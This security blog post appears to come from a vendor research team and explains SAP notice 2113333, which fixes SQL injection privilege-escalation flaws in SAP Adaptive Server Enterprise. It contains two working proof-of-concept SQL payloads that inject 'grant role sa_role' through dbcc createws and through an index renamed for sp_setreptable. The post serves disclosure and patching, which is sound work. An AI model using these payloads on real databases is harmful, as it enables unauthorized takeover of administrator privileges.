Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

About SAP security notice 2113333

SAP published security notice 2113333 "Multiple SQL injection vulnerabilities in SAP ASE" on January 12, 2015 that describes security fixes available for Adaptive Server Enterprise 15.0, 15.5, 15.7, and 16.0. The highest CVSS score is 8.5. These fixes resolve two privilege escalation issues via SQL injection. One SQLi is in the dbcc createws command (CVE-2014-6286). Database users that can create databases can leverage this to get system administrator privileges. Below is proof-of-concept for this vulnerability:

create database dbccdb
dbcc createws(dbccdb, 'x', 'b(id int) grant role sa_role to DB_LOGIN--', scan, 48)

This particular exploit works because the code behind the dbcc command does some internal housekeeping and as a part of it runs some SQL using the dbcc command input as argument. It turns out that it fails to validate the input. This leads to the embedded grant command execution with highest possible privileges.

Another vulnerability fixed is privilege escalation from replication_role holder to sa_role holder via the sp_setreptable system stored procedure (CVE-2014-6285):

-- run as 'DB_LOGIN' who holds 'replication_role'
use tempdb
create table mpl (id int primary key, val text)
exec sp_setreptable mpl, true, owner_on, use_index
set quoted_identifier on
declare @index_name varchar(200)
select @index_name = 'mpl.repl_' + cast(object_id('mpl') as varchar(100)) + '_250'
exec sp_rename @index_name, '"A"grant role sa_role to DB_LOGIN--"', 'index'
sp_setreptable mpl, false
drop table mpl

This works because the code executed internally fails to validate input, and code renaming objects also fail to do sanity checks. Always validate the input and throw an exception when it does not look good!

How can these two vulnerabilities be exploited in the real world? Let's say some custom application used by a company connects to Adaptive Server Enterprise using a log-in holding create database or the replication_role. Then users of this application can use the log-in in some client like isql to directly connect to the database and execute SQL code to elevate privileges. Or, if that is a web application vulnerable to SQLi, attackers might exploit this issues to escalate privileges as well.

Vulnerable versions are: 15.0.3 below ESD#4.4, 15.5 below ESD#5.4, 15.7 below SP130, and 16.0 below PL05.

As usual, Trustwave's database security products, AppDetective and DbProtect, ensure that all necessary patches are applied to database servers to prevent this type of attack.